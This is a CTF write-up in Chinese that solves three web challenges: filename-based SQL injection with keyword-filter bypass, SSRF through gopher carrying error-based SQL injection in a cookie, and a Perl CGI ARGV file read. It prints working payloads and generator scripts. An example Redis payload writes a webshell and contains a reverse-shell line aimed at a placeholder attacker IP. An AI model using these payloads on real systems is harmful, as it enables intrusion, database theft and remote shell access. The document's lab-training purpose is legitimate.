upload、very_easy_sql、i-got-id-200

upload

打开题目发现是注册页面,也有登陆选项

那就注册,登陆

发现是文件上传,应该跟题目的意思一样,是文件上传漏洞,那就传一个文件试试

发现:不正确的文件扩展名,说明有过滤

试着修改下文件后缀,这里修改为jpg格式的

提示我们上传成功,想用蚁剑连接,那再上传一个.htaccess,发现上传失败,我们不知道文件的存储路径,而且上传的不是php。没招了。参考参考大佬的文章

发现上传文件对文件名有回显,可能存在sql,测试关键字

说明select被过滤掉了,既然把sql的关键字过滤了,那就很大概率存在sql注入。

那就尝试绕过方法,大小写绕过

大小写无法绕过

尝试双写绕过

发现成功

查询数据库

复制代码
filename="selselectect database().jpg"

发现上传完后没执行,我们采用拼接的方式上传

复制代码
filename="a' +(selselectect database())+ '.jpg"

成功执行sql语句,但是返回值为0

说明这里大概率对回显进行了限制,而且限制了必须为数字,因此我们需要对sql查询语句进行调整,使得查出来的都是数字,这里做法是先转成16进制,再转化为10进制

复制代码
filename="a'+(selselectect CONV(substr(hex(database()),1,12),16,10))+'.jpg"

HEX(database()):将database()返回的字符串(数据库名)转换为十六进制字符串。

substr(...,1,12):从1开始截取十六进制子串,截取12位

CONV(hex_substr, 16, 10):将截取的十六进制子串转换为十进制数。

发现10进制字符131277325825392,将其转换为ASCII码为:web_up

继续获取字符

复制代码
filename="a'+(selselectect CONV(substr(hex(database()),13,12),16,10))+'.jpg"

发现10进制字符1819238756,将其转换为ASCII码为:load。(这次的10进制数只有10位,我们本来要获取12位,说明已经是最后一位了),把上面的字符串连起来,得到的数据库名为web_upload。

获取表名

复制代码
filename="a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 1, 12), 16, 10))+ '.jpg"

得到:114784820031327,转为ASCII码为:hello_

复制代码
filename="a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 13, 12), 16, 10))+ '.jpg"

得到:112615676665705,转为ASCII码为:flag_i

复制代码
filename="a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 25, 12), 16, 10))+ '.jpg"

得到:126853610566245,转为ASCII码为:s_here

复制代码
filename="a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 37, 12), 16, 10))+ '.jpg"

发现回显为空,应该没有字符了

把上面字符连在一起,得到表名:hello_flag_is_here

爆hello_flag_is_here表的字段名

复制代码
filename="a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 1, 12), 16, 10))+ '.jpg"

得到:115858377367398,转为ASCII码为:i_am_f

复制代码
filename="a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 13, 12), 16, 10))+ '.jpg"

得到:7102823,转为ASCII码为:lag

由于湖区的10进制数少于12个,说明没有字符了。拼接以上字段,得到hello_flag_is_here表的字段名:i_am_flag

查询表中字段值

复制代码
filename="a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 1, 12), 16, 10))+ '.jpg"

得到:36427215695199,转为ASCII码为:!!@m

复制代码
filename="a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 13, 12), 16, 10))+ '.jpg"

得到:92806431727430,转为ASCII码为:Th.e_F

复制代码
filename="a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 25, 12), 16, 10))+ '.jpg"

得到:560750951,转为ASCII码为:!lag

由于获取的10进制字符少于12个,说明后面没有字符了。拼接以上字段,得到flag:!!_@m_Th.e_F!lag

very_easy_sql

前言

SSRF

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,迫使服务器以自身身份向任意目标(内网 / 外网)发起请求的安全漏洞,核心危害是突破网络访问限制、窃取内网数据或攻击内网服务。

漏洞本质与触发场景

SSRF 的本质是服务器未对用户可控的请求目标进行严格校验,导致攻击者可操控服务器的请求行为。常见触发场景包括:

URL 解析 / 跳转功能:如网站提供 "在线网页抓取""图片远程加载" 功能,用户输入的 URL 被服务器直接用于发起请求;

API 接口调用:如通过参数指定后端 API 地址(http://example.com/api?url=xxx),服务器未过滤url参数;

文件导入 / 同步功能:如从指定 URL 导入数据、同步远程资源,参数可控且无校验;

云服务相关操作:如访问云存储的内网元数据服务(如 AWS 的169.254.169.254)。

Gopher 协议

Gopher 协议是一种早期的互联网应用层协议,设计初衷是提供简单的分布式文档检索服务,核心特点是轻量、基于文本行的交互;在现代安全领域(尤其是 CTF),它因能构造任意 TCP 数据包,成为 SSRF 漏洞中攻击内网服务的 "利器"。

CTF 中的核心用途:SSRF 攻击内网服务

Gopher 的关键作用是绕过 SSRF 的协议限制,构造内网服务的攻击数据包:

攻击 Redis:构造SET命令写入 webshell,或FLUSHALL清空数据;

攻击 MySQL:执行SELECT查询获取 flag,或写入恶意文件;

攻击 HTTP 服务:构造 POST 请求触发内网接口的功能(如后台登录)。

示例:用 Gopher 攻击 Redis(SSRF 场景)

假设内网 Redis 服务(127.0.0.1:6379)未授权访问,通过 SSRF 的 Gopher 请求构造:

原始 Redis 命令(设置键值并写入 webshell):

复制代码
set cmd "\n*1\n$8\nflushall\n*3\n$3\nset\n$1\nx\n$64\n\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/bin/bash -i >& /dev/tcp/攻击者IP/端口 0>&1\n"

config set dir /var/www/html

config set dbfilename shell.php

save

将上述命令做 URL 编码(换行符\n→%0a),拼接为 Gopher URL:

复制代码
gopher://127.0.0.1:6379/_set%20cmd%20%22%0a*1%0a$8%0aflushall%0a*3%0a$3%0aset%0a$1%0ax%0a$64%0a%5cx7f%5cx00%5cx00%5cx01%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx02%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00%5cx00/bin/bash%20-i%20%3e%26%20/dev/tcp/攻击者IP/端口%200%3e%261%0a%22%0aconfig%20set%20dir%20/var/www/html%0aconfig%20set%20dbfilename%20shell.php%0asave

通过 SSRF 漏洞提交该 URL,服务器会向 Redis 发送构造的请求,最终写入 webshell。

解题

打开题目

提示:你不是内部用户,因此我们无法为你进行身份认证~,查看网页源代码

发现use.php,直接去访问

发现是ssrf漏洞,而且是curl。我们大致可以确定攻击方向,利用use.php页面中的curl命令进行SSRF攻击,攻击的目标就是靶场首页的登录框。

我们现在靶场首页的登录框中,随便输入一组用户名加密码,点击 Submit,并抓取POST请求包。

而我们构造 Gopher 请求包其实用不了这么多数据,精简后的请求包如下:

复制代码
POST / HTTP/1.1

Host: 61.147.171.105:65176

Content-Length: 20

Content-Type: application/x-www-form-urlencoded

uname=123&passwd=123

我们是利用目标靶场的 use.php 页面发起的请求,所以对于 use.php 而言,靶场首页的登录框,对他而言其实应该是在本地的,所以我们这里的 HOST 需要改为127.0.0.1:80。

复制代码
POST / HTTP/1.1

Host: 127.0.0.1:80

Content-Length: 20

Content-Type: application/x-www-form-urlencoded

uname=123&passwd=123

编写代码:

python 复制代码
# 导入Python内置的URL解析模块,用于URL编码操作
import urllib.parse

# 定义目标服务的地址和端口(这里是本地80端口的HTTP服务)
host = "127.0.0.1:80"
# 定义POST请求的表单数据(模拟用户登录的账号密码参数)
payload = "uname=123&passwd=123"  # 请求包中的表单参数

# 构造完整的HTTP POST请求报文模板
# 注意:HTTP协议要求请求头和请求体之间必须有一个空行(\n),这里通过模板的换行实现
template = """\
POST / HTTP/1.1
Host: {}
Content-Length: {}
Content-Type: application/x-www-form-urlencoded

{}
""".format(
    host,  # 填充Host请求头(目标服务地址)
    len(payload),  # 填充Content-Length(表单数据的字节长度,确保服务端正确解析请求体)
    payload  # 填充表单数据(请求体内容)
)


def gopher_data(string):
    """
    将原始的HTTP请求报文转换为Gopher协议的URL格式,用于SSRF攻击
    :param string: 待转换的原始HTTP请求包字符串
    :return: 完整的Gopher协议URL(可直接用于SSRF的参数)
    """
    # 第一步:对原始请求包进行URL编码
    # 原因:Gopher协议的URL中不能包含特殊字符(如换行、空格),需编码为%xx格式
    encode_result = urllib.parse.quote(string)

    # 第二步:替换换行符的编码结果
    # 细节:
    # - 原始请求中的\n(换行)经quote编码后会变成%0A
    # - HTTP协议标准要求换行符为\r\n(回车+换行),因此需将%0A替换为%0D%0A
    # - 注:模板末尾已有一个换行,无需额外添加%0D%0A
    encode_result = encode_result.replace("%0A", "%0D%0A")

    # 第三步:拼接Gopher协议的完整URL
    # Gopher URL格式:gopher://目标IP:端口/_编码后的TCP数据
    # 其中下划线_是Gopher协议的路径分隔符,后面紧跟要发送的TCP数据
    gopher_url = "gopher://{}/_{}".format(host, encode_result)

    return gopher_url


# 调用函数生成Gopher URL并打印,用于SSRF漏洞利用
print(gopher_data(template))

输出的 Payload 如下:

python 复制代码
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2020%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Auname%3D123%26passwd%3D123%0D%0A

将 Payload 黏贴到 use.php 中,并点击 submit 可以看到我们成功请求了目标网页,并且还有返回信息:

将请求包中的 uname 和 passwd 替换为弱口令 admin,再次生成 Payload 后发起请求

python 复制代码
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2024%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Auname%3Dadmin%26passwd%3Dadmin%0D%0A

发现"this_is_your_cookie",这次请求算是成功了,我们将该Cookie的值复制一下,进行url解码,再进行base64解码:admin

然后继续用脚本构造payload,使用set-cookie做注入点

请求包模板如下:

python 复制代码
POST / HTTP/1.1

 Host: {}

 Content-Length: 0

 Content-Type: application/x-www-form-urlencoded

 Cookie: this_is_your_cookie={}
python 复制代码
import base64
import urllib.parse

# 定义目标服务的地址和端口(本地80端口的HTTP服务)
host = "127.0.0.1:80"

# 构造HTTP请求报文模板
template = """\
POST / HTTP/1.1
Host: {}
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: this_is_your_cookie={}
"""


def gopher_data(string):
    """
    将原始的HTTP请求报文转换为Gopher协议的URL格式,用于SSRF攻击
    :param string: 待转换的原始HTTP请求包字符串
    :return: 完整的Gopher协议URL(可直接用于SSRF的参数)
    """
    # 第一步:对原始请求包进行URL编码
    encode_result = urllib.parse.quote(string)

    # 第二步:替换换行符的编码结果(\n→%0A替换为%0D%0A,符合HTTP标准)
    encode_result = encode_result.replace("%0A", "%0D%0A")

    # 第三步:拼接Gopher协议的完整URL
    gopher_url = "gopher://{}/_{}".format(host, encode_result)

    return gopher_url


def create_payload(payload):
    """
    生成最终的Gopher URL:先对输入的payload做Base64编码,再填充到HTTP模板,最后转换为Gopher格式
    :param payload: 用户输入的原始payload(将被放入Cookie中)
    :return: 可直接用于SSRF的Gopher协议URL
    """
    # 对用户输入的payload进行Base64编码
    payload_b64 = base64.b64encode(payload.encode('utf-8')).decode('utf-8')

    # 关键修改:第一个占位符替换为字符串"host",第二个替换为Base64编码后的payload
    filled_template = template.format("host", payload_b64)

    # 将填充后的HTTP模板转换为Gopher URL并返回
    return gopher_data(filled_template)


if __name__ == "__main__":
    # 接收用户输入的payload
    payload = input("Input Payload: ")
    # 生成并打印最终的Gopher URL
    print(create_payload(payload))

利用此脚本,即可生成对应的gopher协议脚本,比如,我们测试用户名为admin':

python 复制代码
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20host%0D%0AContent-Length%3A%200%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4n%0D%0A

发现少一个")",继续尝试

python 复制代码
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20host%0D%0AContent-Length%3A%200%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4nKSAj%0D%0A

发现没有报错,是"')"闭合。

报错注入查表名

sql 复制代码
admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
sql 复制代码
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20host%0D%0AContent-Length%3A%200%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwweDdlKSwxKSAj%0D%0A

发现flag表

查询flag表的字段

sql 复制代码
admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"),0x7e),1) #
sql 复制代码
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20host%0D%0AContent-Length%3A%200%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9ImZsYWciKSwweDdlKSwxKSAj%0D%0A

只有一个字段:flag。

获取flag表中的flag字段的所有信息

sql 复制代码
admin') and updatexml(1,concat(0x7e,(select mid(group_concat(flag),1,50) from flag),0x7e),1) #
sql 复制代码
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20host%0D%0AContent-Length%3A%200%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBtaWQoZ3JvdXBfY29uY2F0KGZsYWcpLDEsNTApIGZyb20gZmxhZyksMHg3ZSksMSkgIw%3D%3D%0D%0A

发现了flag:

sql 复制代码
cyberpeace{010fe8567c9ca7fa69b2

但是显示不全,可能是有回显限制,那就在读取后面的字符。

sql 复制代码
admin') and updatexml(1,concat(0x7e,(select mid(group_concat(flag),20,50) from flag),0x7e),1) #
sql 复制代码
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20host%0D%0AContent-Length%3A%200%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBtaWQoZ3JvdXBfY29uY2F0KGZsYWcpLDIwLDUwKSBmcm9tIGZsYWcpLDB4N2UpLDEpICM%3D%0D%0A

得到后面的字段:

sql 复制代码
7c9ca7fa69b2d9d3a62e6d5e}

合并两个字段,去掉重复的部分,得到flag:

cyberpeace{010fe8567c9ca7fa69b2d9d3a62e6d5e}

i-got-id-200

前言

在Perl的CGI模块中,param()是核心方法之一,主要用于获取HTTP请求中的参数数据,包括表单提交的普通参数、URL查询参数,以及文件上传的文件句柄。

基本作用

param()方法的核心是解析CGI请求中的参数,支持两种常见的HTTP请求方式:

GET请求:解析URL中?后的查询字符串(如http://example.com/cgi-bin/script.pl?name=foo\&age=20)。

POST请求:解析请求体中的表单数据(包括application/x-www-form-urlencoded和multipart/form-data类型,后者用于文件上传)。

param()有多种调用形式,这里介绍文件上传参数,代码如下:

php 复制代码
# 结合 upload() 检查文件上传,获取文件句柄

if ($cgi->upload('file')) {

    my $file_handle = $cgi->param('file');

    while (<$file_handle>) {  # 逐行读取上传文件内容

        print $_;

    }

}

当参数是文件上传字段时,param()返回的是文件句柄(而非文件内容),需通过文件句柄读取内容;同时可结合以下方法获取文件元信息:

php 复制代码
$cgi->uploadInfo($file_handle):获取上传文件的MIME类型、文件名等头部信息。

my $upload_info = $cgi->uploadInfo($file_handle);

my $mime_type = $upload_info->{'Content-Type'};  # 获取文件MIME类型

my $filename = $cgi->param('file');  # 部分环境下可直接获取文件名(建议用uploadInfo)

在Perl中,ARGV是一个特殊的文件句柄(filehandle),同时也和@ARGV数组紧密关联,是处理命令行参数和文件输入的核心工具之一。

ARGV用于读取@ARGV中指定的文件内容,是Perl预定义的特殊文件句柄。简单来说:@ARGV是参数列表,ARGV是读取这些参数对应文件的句柄。

当Perl脚本中直接使用<ARGV>(或readline(ARGV))时,Perl会自动做以下操作:

从@ARGV数组中取出第一个元素,作为要打开的文件名。

自动打开该文件,并通过ARGV句柄读取内容。

读完一个文件后,自动取下一个@ARGV元素,重复上述过程。

如果@ARGV为空,ARGV句柄会默认指向标准输入(STDIN)(即键盘输入)。

解题

打开题目,发现三个跳转链接

第一个:

第二个:

第三个:

发现都是.pl后缀,都是用perl编写的网页文件

在File中上传文件

发现会把文件内容打印到网页上。也没啥思路。只能看看大佬们的wp

大佬们猜测这里后台perl上传代码使用了param()函数

这里附上网上大佬们猜测的后台代码

php 复制代码
# 启用严格模式,强制变量声明和严格的语法检查,提高代码健壮性
use strict;

# 启用警告机制,捕获潜在的代码问题(如未初始化变量、无效操作等)
use warnings;

# 加载CGI模块,用于处理HTTP请求、表单数据和文件上传等Web交互操作
use CGI;

# 创建CGI对象实例,用于后续处理请求数据
my $cgi = CGI->new;

# 检查是否有名称为'file'的文件上传字段(判断用户是否上传了文件)
if ( $cgi->upload('file') ) {
    # 获取上传文件的文件句柄(通过param方法获取上传文件的引用)
    my $file = $cgi->param('file');

    # 逐行读取上传文件的内容
    while ( <$file> ) {
        # 将读取的每一行内容输出到HTTP响应中(直接打印到浏览器)
        print "$_";
    }
}

该代码直接输出上传文件的内容,存在 XSS(跨站脚本攻击)风险。而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。

发送到Repeater模块,如修改参数

发送,得到flag:cyberpeace{2c5c673fb461a47fe94077563e5b0be7}

相关推荐
Edward.W32 分钟前
Python uv:新一代Python包管理工具,彻底改变开发体验
开发语言·python·uv
小熊officer32 分钟前
Python字符串
开发语言·数据库·python
月疯1 小时前
各种信号的模拟(ECG信号、质谱图、EEG信号),方便U-net训练
开发语言·python
小鸡吃米…2 小时前
机器学习中的回归分析
人工智能·python·机器学习·回归
AC赳赳老秦2 小时前
Python 爬虫进阶:DeepSeek 优化反爬策略与动态数据解析逻辑
开发语言·hadoop·spring boot·爬虫·python·postgresql·deepseek
浩瀚之水_csdn2 小时前
Python 三元运算符详解
开发语言·python
Yuner20002 小时前
Python机器学习:从入门到精通
python
Amelia1111113 小时前
day47
python
Chris_12193 小时前
Halcon学习笔记-Day6进阶:工业级视觉系统核心技术详解
人工智能·python·深度学习·halcon